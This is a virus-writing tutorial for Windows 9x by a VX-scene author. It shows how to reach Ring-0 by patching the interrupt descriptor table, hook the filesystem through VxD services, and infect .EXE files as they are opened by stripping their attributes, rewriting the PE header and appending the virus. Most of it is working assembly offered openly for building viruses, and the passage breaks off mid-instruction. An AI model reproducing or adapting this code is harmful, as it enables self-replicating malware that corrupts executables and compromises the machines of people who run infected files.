ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Simple Ring-0 tutorial ³ Billy Belceb£/DDT ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Well, this is a part of another document i'm writing now. This part is the part that talks about Ring-0 in my future Virus Writing Guide For Win32. As you can think, it'll be as my DOS Virus Writing Guide: huge :) Prepare for have another tute in your PC. Anyway, as it isn't finished yet, and i saw the lack of tutes about Ring-0 in the e-zines nowadays (well, ppl that knowz to code a Ring-0 seems too lazy for explain it) i stripped this text from my own guide, and i'm presenting it here :) Well, here you have it. Enjoy! ;) % Introduction % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Freedom! Don't ya love it? In Ring-0 we are outside the laws, nothing is restricted here. Due to the incompetence of Micro$oft we have lotsa ways for jump to the level where we theorically must not be able to jump. But, at least we can jump to it in Win9X systems (and in NT, as i heard) :) The fool ppl at Micro$oft left unprotected the interrupt table, for example. This is a huge security fail in my eyes. But what the fuck, if we can code a virus using it, it's kewl! ;) % Accessing Ring-0 % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, i'm gonna explain the simplest method under my viewpoint, that is, the IDT modification. The IDT (Interrupt Descriptor Table) ain't in a fixed address, so we must use an instruction for locate it, that is SIDT. -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú SIDT - Store Interrupt Descriptor Table (286+ privileged) Usage: SIDT dest Modifies flags: none Stores the Interrupt Descriptor Table (IDT) Register into the specified operand. Clocks Size Operands 808X 286 386 486 Bytes mem64 - 12 9 10 5 0F 01 /1 SIDT m Store IDTR to m -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú If after that ain't clear for what we use SIDT, it just puts the FWORD offset (WORD:DWORD format) of where the IDT is. And, if we know where the IDT is located, we can modify the interrupt vectors, and make them point to our code. That shows you the lameness of Micro$oft coderz. Let's continue our work. After changing vectors to point to our code (and save them for their later restore) we have only to call the interrupt we hooked. If it seems unclear for you now, there goes a little code that jumpz to Ring-0 by means of modifying the IDT. ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .586p ; Bah... simply for phun. .model flat ; Hehehe i love 32 bit stuph ;) extrn ExitProcess:PROC extrn MessageBoxA:PROC Interrupt equ 01h ; Nothing special .data szTitle db "Ring-0 example",0 szMessage db "I'm alive and kicking ass",0 ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Well, this stuph is quite clear for you now, isn't it? :) ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; .code start: push edx sidt [esp-2] ; Interrupt table to stack pop edx add edx,(Interrupt*8)+4 ; Get interrupt vector ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; This is preety simple. The SIDT, as i explained before, puts the address ; ; of the IDT in a memory address, and for our own simplycity, we use the ; ; stack directly. That explains the POP that comes one instruction after, ; ; that is supposed to load in the register where we POP (in this case EDX) ; ; the offset of the IDT. The line after is just for locate offset of the ; ; interrupt we want. This is just as play with the IVT in DOS... ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; mov ebx,[edx] mov bx,word ptr [edx-4] ; Whoot Whoot ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Preety simple. It just saves EDX content in EBX for later restore ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; lea edi,InterruptHandler mov [edx-4],di ror edi,16 ; Move MSW to LSW mov [edx+2],di ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Had i said how many simple it is before? :) Here we out in EDI da offset ; ; of the new inteerupt handler, and the three lines after put that handler ; ; in the IDT. And why that ROR? Well, doesn't matter if ya use ROR, SHR or ; ; SAR, becoz it's just used for move da MSW (More Significant Word) of da ; ; offset of the handler to the LSW (Less Significant Word), and then store ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; push ds ; Safety safety safety... push es int Interrupt ; Ring-0 comez hereeeeeee!!!!!!! pop es pop ds ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Mmmm... interesting. I push DS and ES for security, preventing some rare ; ; fails, but it can work without it, believe me. As the interrupt is alre- ; ; and patched, there is nothing more to do now rather than put this int... ; ; AND WE ARE NOW IN RING0! The code continues in InterruptHandler label. ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; mov [edx-4],bx ; Restore old interrupt values ror ebx,16 ; ROR, SHR, SAR... who cares? mov [edx+2],bx back2host: push 00000000h ; Sytle of MessageBox push offset szTitle ; Title of MessageBox push offset szMessage ; The message itself push 00000000h ; Handle of owner call MessageBoxA ; The API call itself push 00000000h call ExitProcess ret ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; ; Well, nothing more to do now besides restore the original Interrupt vec- ; ; tors, that we stored before in EBX. Kewl, isn't it? :) And then, we ret- ; ; urn code to the host. (Well, it's supposed to be that) ;) ; ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú; InterruptHandler: pushad ; Here goez yer code :) popad iretd end start ;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [* I know there are many ways to access to Ring-0, but this part of my Virus Writing Guide for Win32 will have them all (at least the ones we know nowadays: IDT method (that below), VMM inserting and Call Gate technique) *] Well, now we can access to it. I think all ppl could do it, but now comes the question that comes to the normal-VX when accessed Ring-0 for the first time: Why do i do now?. % Virus coding under Ring-0 % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, i love to begin lessons with a little algorithm, so here you have one of what we should do when coding a Ring-0 virus. -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú 1. Test for OS running: If NT, skip virus and return directly to host. 2. Jump to Ring-0 (IDT, VMM inserting or Call Gate technique) 3. Execute interrupt, that contains the infection code. 3.1. Get a place where put the virus resident (Allocate pages or in heap) 3.2. Move the virus to it 3.3. Hook the File System and save the old hook 3.3.1. In the FS Hook, first of all save all parameters and fix ESP. 3.3.2. Push parameterz 3.3.3. Then check if system is trying to open a file, if not, skip. 3.3.4. If it's trying to open, first convert file name to asciiz. 3.3.5. Then check if it's an EXE file. If it isn't, skip infection. 3.3.6. Open, read header, manipulate, write it again, append & close 3.3.7. Call to the old hook 3.3.8. Skip all returned parameters in ESP 3.3.9. Return 3.4. Return 4. Restore old interrupt vectors 5. Return control to host -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú The algorithm is a little bit large, anyway i could do it more general, but i prefer to go directly to the action. Ok, c'mon. Let's go. Test OS when file running ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Well, as there are some problems with da Ring-0 under NT (Super,solve them!) we must check the OS where we are, and return control to host if it's not a Win9X platform. Well, there are some ways to do it: - Use SEH - Check for the value in DS, for example. Well, i suppose you know to play with SEH, right? I explained its usage in another article, so it's time to go and read it :) About the second possible thing to do, here is the code: mov ax,ds cmp ax,137h jb back2host Well, it' s supposed to be DS>137 in Win9X enviroments. Btw, as you have no- ticed, this last method does the job, but SEH is not only for that. So, SEH occupies more bytes and makes more functions, and this last method is more optimized. Just choose what you want. Jump to Ring-0 and execute interrupt ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Well, the simplest way is the explained in Accesing Ring-0 part of this doc, so i won't talk more about this here :) We are now in Ring-0... what to do? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Well, in Ring-0 instead of APIs we have VxD services. The VxD services are accessed in this form: int 20h dd vxd_service The vxd_service is placed in 2 words, the MSW indicates the VxD number, and the LSW indicates the function we call from that VxD. For example i will use VMM_PageModifyPermissions value: dd 0001000Dh ÀÁÁ´ÀÁÁÁÄÄ Service 000Dh _PageModifyPermissions ÀÄÄÄÄÄÄ VxD 0001h VMM So, for call it we must do something like this: int 20h dd 0001000Dh Well, a very inteligent way of coding is to make a macro that do this auto- matic, and make the numbers to be in EQUates. But that's your choice. This values are fixed, so in Win95 and Win98 are the same. So don't worry, one of the good points that Ring-0 has is the fact that you don't need to search for an offset in kernel or something (as we made with APIs), because there is no need for it, must be hardcoded :) Here i must note a VERY important thing that we should have clear when co- ding a Ring-0 virus: the int 20h and the address, the way i showed you to access to VxD functions, turns in memory to something like: call dword ptr [VxD_Service] ; Call back to the service Well, you can think that it is something silly, but it's very important and a real pain, because the virus gets copied to the host with those CALLs instead with the int and the dword of service's offset, and that makes the virus could only be executed in your own computer, not in another's :( Well, as all in life, this trouble has many solutions. One of them consists in, as Win95.Padania did, to create a procedure for fix it just after each VxD call. Another ways are: to make a table with all offsets to fix, do it dire- ctly, etc. Here goes my code, and you can see it implemented in my Garaipena virus: VxDFix: mov ecx,VxDTbSz ; Number of times to pass the routine lea esi,[ebp+VxDTblz] ; Pointer to table @lo0pz:lodsd ; Load current table offset in EAX mov word ptr [ebp+eax],20CDh ; Put in that address mov edx,dword ptr [ebp+eax+08h] ; Get VxD Service value mov dword ptr [ebp+eax+02h],edx ; And restore it loop @lo0pz ; Correct another ret VxDTblz label byte ; Table with all offsets that have dd (offset @@1) ; a VxDCall. dd (offset @@2) dd (offset @@3) dd (offset @@4) ; [...] all the rest of VxDCallz must be listed here :) VxDTbSz equ (($-offset VxDTblz)/4) ; Numbah of shitz I hope you understood that every VxDCall we make must have its offset here. Oh, i almost forgot another important thing: how should your VxDCall macro look like if you are using my VxDFix procedure. Here you have: VxDCall macro VxDService local @@@@@@ int 20h ; CD 20 +00h dd VxDService ; XX XX XX XX +02h jmp @@@@@@ ; EB 04 +06h dd VxDService ; XX XX XX XX +08h @@@@@@: endm Ok. Now we need a place where go resident. I personally prefer in the net heap, because it is very simple to code (lazyness rules!). -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú ** IFSMgr_GetHeap - Allocate a chunk of the net heap This service is not valid until IFSMgr performs SysCriticalInit. This procedure uses the C6 386 _cdecl calling sequence Entry TOS - Size required Exit EAX - address of heap chunk. 0 if failure Uses C registers (eax, ecx, edx, flags) -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú Well, that was some Win95 DDK info. Let's put an example of this: InterruptHandler: pushad ; Push all reggies push virus_size+1024 ; Memory we want (virus_size+buffer) ; As you maybe use buffers, better ; add more bytes to it. @@1: VxDCall IFSMgr_GetHeap pop ecx Is it clear now? Well, as DDK says, it will return us 0 in EAX if it fails, so check for possible fails. The POP that comes after is VERY important, because most of the VxD services doesn't fix the stack, so the value we pushed before call the VxD function is still in stack. or eax,eax ; cmp eax,0 jz back2ring3 If function was succesful, we have in EAX the address where we must move the virus body, so let's go. mov byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1 mov edi,eax ; Where move virus lea esi,ebp+start ; What to move push eax ; Save memory address for later sub ecx,1024 ; We move only virus_size rep movsb ; Move virus to its TSR location ;) pop edi ; Restore memory address Well, we have the virus in a memory address, ready for be TSR, right? And we have in EDI the address where the virus beginz in memory, so we can use it as delta offset for the next function :) Ok, we now need to hook the File- System, right? Ok, there is a function that does the job. Surprised, right? Micro$oft engineers made the dirty work for us. -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú ** IFSMgr_InstallFileSystemApiHook - install a filesystem api hook This service installs a filesystem api hook for the caller. This hook is between the IFS manager and a FSD. So, the hooker gets to see any calls that the IFS manager makes to FSDs. This procedure uses the C6 386 _cdecl calling sequence ppIFSFileHookFunc IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc ) Entry TOS - Address of function that is to be installed as the hook Exit EAX - Pointer to variable containing the address of the previous hooker in this chain. Uses C registers -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú Is it clear? If not, i hope that you'd understand it seeing some code. Ok, let's hook FileSystem... lea ecx,[edi+New_Handler] ; (vir address in mem + handler offs) push ecx ; Push it @@2: VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call pop ecx ; Don't forget this, guy mov dword ptr [edi+Old_Handler],eax ; EAX=Previous hook back2ring3: popad iretd ; return to Ring-3. Yargh Well, we have seen the "setup" part of the Ring-0 virus thingy. Now, we must code the FileSystem handler :) Is simple, but not as you thought? :) FileSystem Handler: the real fun!!! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Yeah, here is where resides the infection itself, but we have to make some thingies before go for it. Well, first of all, we must make a security copy of stack, that is to save ESP content to EBP register. After it, we should substract 20h bytes to ESP, in order to fix the stack pointer. Let's see sum code: New_Handler equ $-(offset virus_start) FSA_Hook: push ebp ; Save EBP content 4 further restorin mov ebp,esp ; Make a copy of ESP content in EBP sub esp,20h ; And fix the stack Now, as our function is called by the system with some parameters, we should push them, as the original handle would do. Parameters to push go from EBP+08h until EBP+1Ch, both included. push dword ptr [ebp+1Ch] ; Push'em all!!!!!!!! :) push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+08h] Now we have all the parameters that we should push in the right place, so don't worry more about them. Now we must check for the IFSFN function you would like to manage. Here you have a little list with the most important: -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú ** IFS Function IDs passed to IFSMgr_CallProvider IFSFN_READ equ 00h ; read a file IFSFN_WRITE equ 01h ; write a file IFSFN_FINDNEXT equ 02h ; LFN handle based Find Next IFSFN_FCNNEXT equ 03h ; Find Next Change Notify IFSFN_SEEK equ 0Ah ; Seek file handle IFSFN_CLOSE equ 0Bh ; close handle IFSFN_COMMIT equ 0Ch ; commit buffered data for handle IFSFN_FILELOCKS equ 0Dh ; lock/unlock byte range IFSFN_FILETIMES equ 0Eh ; get/set file modification time IFSFN_PIPEREQUEST equ 0Fh ; named pipe operations IFSFN_HANDLEINFO equ 10h ; get/set file information IFSFN_ENUMHANDLE equ 11h ; enum file handle information IFSFN_FINDCLOSE equ 12h ; LFN find close IFSFN_FCNCLOSE equ 13h ; Find Change Notify Close IFSFN_CONNECT equ 1Eh ; connect or mount a resource IFSFN_DELETE equ 1Fh ; file delete IFSFN_DIR equ 20h ; directory manipulation IFSFN_FILEATTRIB equ 21h ; DOS file attribute manipulation IFSFN_FLUSH equ 22h ; flush volume IFSFN_GETDISKINFO equ 23h ; query volume free space IFSFN_OPEN equ 24h ; open file IFSFN_RENAME equ 25h ; rename path IFSFN_SEARCH equ 26h ; search for names IFSFN_QUERY equ 27h ; query resource info (network only) IFSFN_DISCONNECT equ 28h ; disconnect from resource (net only) IFSFN_UNCPIPEREQ equ 29h ; UNC path based named pipe operation IFSFN_IOCTL16DRIVE equ 2Ah ; drive based 16 bit IOCTL requests IFSFN_GETDISKPARMS equ 2Bh ; get DPB IFSFN_FINDOPEN equ 2Ch ; open an LFN file search IFSFN_DASDIO equ 2Dh ; direct volume access -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú Well, for our first thingy, the only function that interests us is 24h, that is, open. System calls to that function almost everytime, so no problem with it. Code for this is as simply as you can imagine :) cmp dword ptr [ebp+0Ch],24h ; Check if system opening file jnz back2oldhandler ; If not, skip and return to old h. Now begins the fun. We know here that system is requesting for file opening, so it's now our time. First of all, we should check if we are processing our own call... Simple, just add a little variable and it'll do the job with any problem. Btw, i almost forgot, get delta offset :) pushad call ring0_delta ; Get delta offset of this ring0_delta: pop ebx sub ebx,offset ring0_delta cmp byte ptr [ebx+semaphore],00h ; Are we the ones requesting jne pushnback ; the call? inc byte ptr [ebx+semaphore] ; For avoid process our own calls pushad call prepare_infection ; We'll see this stuff later call infection_stuff popad dec byte ptr [ebx+semaphore] ; Stop avoiding :) pushnback: popad Now i'll continue explaining about the handler itself, and after that i'll explain what i do in those routines, prepare_infection and infection_stuff. Well, we have just exit the routine we would process if the system was requesting a call, ok? Well, now we must code the routine that calls the old FileSystem hook. As you can remember (i assume you don't have alzheimer) we pushed all the parameters, so the only thing we should do now is to load in a register, doesn't matter what, the old address, and then call to that memory position. After that we add 18h to the ESP (for be able to get return address), and that's all. Well, you'll see it better with some code, so here you have: back2oldhandler: db 0B8h ; MOV EAX,imm32 opcode Old_Handler equ $-(offset virus_start) dd 00000000h ; here goes the old handler. call [eax] add esp,18h ; Fix stack (6x4) leave ; 6 = num. paramz. 4 = dword size. ret ; Return Infection preparations ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Well, this is the aspect of the main brach of a Ring-0 code. Let's see now the Ring-0 coding details. Well, when we were in the hook handler, there were 2 calls, right? This is not required, but i made that for give more simplycity to the code, because i love to have things structured. In the first call, that one i called prepare_infection, i only do one thing for only one reason. The name that system gave us the file name as parameter but we have one problem. System gave it to us in UNICODE, and it's unuseful by us as is. So, we need to convert that to ASCIIz, right? Well, we have a VxD service that does the job for us. Its name: UniToBCSPath. Here you have your beloved source code. prepare_infection: pushad ; Push all lea edi,[ebx+fname] ; Where to put ASCII file name mov eax,[ebp+10h] cmp al,0FFh jz wegotdrive add al,"@" ; Generate drive name stosb mov al,":" ; Add a : stosb wegotdrive: xor eax,eax push eax ; EAX = 0 -> Convert to ASCII mov eax,100h push eax ; EAX = Size of string to convert mov eax,[ebp+1Ch] mov eax,[eax+0Ch] ; EAX = Pointer to string add eax,4 push eax push edi ; Push offset to file name @@3: VxDCall UniToBCSPath add esp,10h ; Skip parameters returnet add edi,eax xor eax,eax ; Make string null-terminated stosb popad ; Pop all ret ; Return The infection itself ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Well, here i'll tell you how to arrive just until the part you must adapt all the PE header and section header to the new values that infected file should have. But i won't explain how to manipulate them, not because i am lazy, just because this is a chapter for Ring-0 coding and not for PE infec- tion. This part matches with the infection_stuff label in the code of the FileSystem hook. First we must check if the file we are about to manipulate is an .EXE or another uninteresting file. So first of all, we must search in the file name for the 0 value, that tells us the end of it. It is preety simple to code: infection_stuff: lea edi,[ebx+fname] ; Variable with the file name getend: cmp byte ptr [edi],00h ; End of filename? jz reached_end ; Yep inc edi ; If not, search for another char jmp getend reached_end: We have now in EDI the 0 of the ASCIIz string, and as you know, it marks the end of the string, that is in this case, the file name. Well, now comes our main check, look if it is a .EXE file, and if it is not, skip infection. Well, we can also check for .SCR (Windows screensavers), and as you know, they are EXEcutables too... Well, it's your choice. Here you have some code: cmp dword ptr [edi-4],"EXE." ; Look if extension is an EXE jnz notsofunny As you can see, i compared EDI-5. Understand it with a simple ASCIIz string example: ÚÄÄÄÄÄ DWORD that we have to compare : "EXE." ÚÂÅ¿ "C:\WINDOWS\SHIT.EXE",0 ³³³³ ÀÄ EDI ³³³ÀÄÄÄÄ EDI-1 ³³ÀÄÄÄÄÄ EDI-2 ³ÀÄÄÄÄÄÄ EDI-3 ÀÄÄÄÄÄÄÄ EDI-4 Well, now we know that file is an EXE file :) So, is time to remove its attributes, open file, modify the oportune fields, close file and restore attributes. All those functions are performed by another IFS service, that is IFSMgr_Ring0_FileIO. I haven't found documentation about the whole thing, anyway there is no need for it: within it there are A LOT of functions, as i said before, all functions we need for perform file infection and such like. Let's take a view to the numerical values passed in EAX to the VxD service IFSMgr_Ring0_FileIO: -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú ; Function definitions on the ring 0 apis function list: ; NOTE: Most functions are context independent unless explicitly stated ; i.e. they do not use the current thread context. R0_LOCKFILE is the only ; exception - it always uses the current thread context. R0_OPENCREATFILE equ 0D500h ; Open/Create a file R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Open/Create file in current contxt R0_READFILE equ 0D600h ; Read a file, no context R0_WRITEFILE equ 0D601h ; Write to a file, no context R0_READFILE_IN_CONTEXT equ 0D602h ; Read a file, in thread context R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Write to a file, in thread context R0_CLOSEFILE equ 0D700h ; Close a file R0_GETFILESIZE equ 0D800h ; Get size of a file R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file R0_RENAMEFILE equ 05600h ; Rename a file R0_DELETEFILE equ 04100h ; Delete a file R0_LOCKFILE equ 05C00h ; Lock/Unlock a region in a file R0_GETDISKFREESPACE equ 03600h ; Get disk free space R0_READABSOLUTEDISK equ 0DD00h ; Absolute disk read R0_WRITEABSOLUTEDISK equ 0DE00h ; Absolute disk write -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú Charming functions, ain't them? :) If we take a look, it remembers us the DOS int 21h functions. But this is better :) Well, let's save the old file attributes. As you can see, this function is inside the list i gave you before. We pass this parameter (4300h) in EAX for obtain the file attributes, in ECX. So, after that, we push it, and the file name, that is in ESI. lea esi,[ebx+fname] ; Pointer to file name mov eax,R0_FILEATTRIBUTES ; EAX = 4300h push eax ; Save it goddamit VxDCall IFSMgr_Ring0_FileIO ; Get attributes pop eax ; Restore 4300h from stack jc notsofunny ; Something went wrong (?) push esi ; Push pointer to file name push ecx ; Push attributes Now we must wipe them from the universe. No problem. The function for set file attributes is, as before in IFSMgr_Ring0_FileIO, but now is 4301h. As you can see this value is just as in DOS :) inc eax ; 4300h+1=4301h :) xor ecx,ecx ; No attributes sucker! VxDCall IFSMgr_Ring0_FileIO ; Set new attributes (wipe'em) jc stillnotsofunny ; Error (?!) We have a file without attributes waiting for us now... what should we do? Heh. I thought you were smarter. Let's open it! :) Well, as all in this part of the virus, we have to call IFSMgr_Ring0_FileIO, but now passing to it in EAX the value for open files, that is D500h. The parameters of this function are equal to the ones in INT 21h's function 6C00h (extended open): EAX = R0_OPENCREATFILE = D500h EBX = Flags ECX = Create attribute EDX = Action to do if file exists/doesn't exist ESI = Pointer to file name lea esi,[ebx+fname] ; Put in ESI the file name mov eax,R0_OPENCREATFILE ; EAX = D500h xor ecx,ecx ; ECX = 0 mov edx,ecx inc edx ; EDX = 1 mov ebx,edx inc ebx ; EBX = 2 VxDCall IFSMgr_Ring0_FileIO jc stillnotsofunny ; Shit. xchg eax,ebx ; Optimize a bit, sucka! :) Now we have in EBX the handle of the opened file, so it would be perfect if you don't use this register for anything until the file is closed, okay? :) Well, now it's your time to read the PE header of file, and store it (and manipulate), then update the header, and append the virus... Well, here i'll only explain how to arrive just to before the place where we have to handle properly the PE header, because it is another part of the document, and i don't want to be so much repetitive. Well, i'm gonna explain how to put in our buffer the PE header. It's preety easy: as you remember, the PE header begin just in the offset pointed by 3Ch (from BOF, ofc0z). Well, then we must read 4 bytes (this DWORD in 3Ch), and read again in the offset where it points, and this time, 400h bytes, enough for handle the whole PE header. As you could imagine, the function for read in files is included in the wonder- ful IFSMgr_Ring0_FileIO, and you can see the right function number in the table i gave you before, in R0_READFILE. The parameters passed to this function are the following: EAX = R0_READFILE = D600h EBX = File Handle ECX = Number of bytes to read EDX = Offset where we should read ESI = Where will go the read bytes call inf_delta ; If you remember, we had the delta inf_delta: ; offset in EBX, but after open the pop ebp ; file we have in EBX the file handle sub ebp,offset inf_delta ; so we have to calculate it again. mov eax,R0_READFILE ; D600h push eax ; Save it for later mov ecx,4 ; Bytes to read, a DWORD mov edx,03Ch ; Where read (BOF+3Ch) lea esi,[ebp+pehead] ; There goez the PE header offzet VxDCall IFSMgr_Ring0_FileIO ; The VxDCall itself pop eax ; restore R0_READFILE from stack mov edx,dword ptr [ebp+pehead] ; Where the PE header begins lea esi,[ebp+header] ; Where write the read PE header mov ecx,400h ; 1024 bytes, enough for all PE head. VxDCall IFSMgr_Ring0_FileIO Now we have to see if the file we have just opened is a PE file, by seeing its marker. We have in ESI the pointer to the buffer where we put the PE header, so just compare the first DWORD in ESI for PE,0,0 (or simply PE by using WORD comparison) ;) cmp dword ptr [esi],"EP" ; Is it PE? jnz muthafucka Now you check for your previous infection, and if it was previously infec- ted, just go to the precedures for close file and such like. As i said befo- re, i will skip the code of modificating PE header, as it is assumed that you know how to do it. Well, imagine you have already modificated the PE header properly in the buffer (in my code, the variable is called header). It's time to write the new header in the PE file. The values that the regi- sters should have are moreless the same than in R0_READFILE function. Well, anyway i'm gonna write them: EAX = R0_WRITEFILE = D601h EBX = File Handle ECX = Number of bytes to write EDX = Offset where we should write ESI = Offset of the bytes we want to write mov eax,R0_WRITEFILE ; D601h mov ecx,400h ; write 1024 bytez (buffer) mov edx,dword ptr [ebp+pehead] ; where to write (PE offset) lea esi,[ebp+header] ; Data to write VxDCall IFSMgr_Ring0_FileIO We have just wrote the header. Now, we have only to append the virus. I decided to append it at EOF direcly, because my way of modificating PE... Well, i did it in this way. But don't worry, is easy to adapt to your infe- ction methods, as i assume you understood how it works. Just before append the virus body, remember that we should fix all VxDCallz, as they are trans- formed in callbacks in memory. Remember the VxDFix procedure i taught you in this same document. By the way, as we append in EOF, we should know how many bytes it ocuppies. Preety easy, we have a function in IFSMgr_Ring0_FileIO (how not!) that does the job: R0_GETFILESIZE. Let's see its input paramet- erz: EAX = R0_GETFILESIZE = D800h EBX = File Handle And returs us in EAX the size of the file owner of the handler, that is the file we are trying to infect. call VxDFix ; Re-make all INT 20h's mov eax,R0_GETFILESIZE ; D800h VxDCall IFSMgr_Ring0_FileIO ; EAX = File size mov 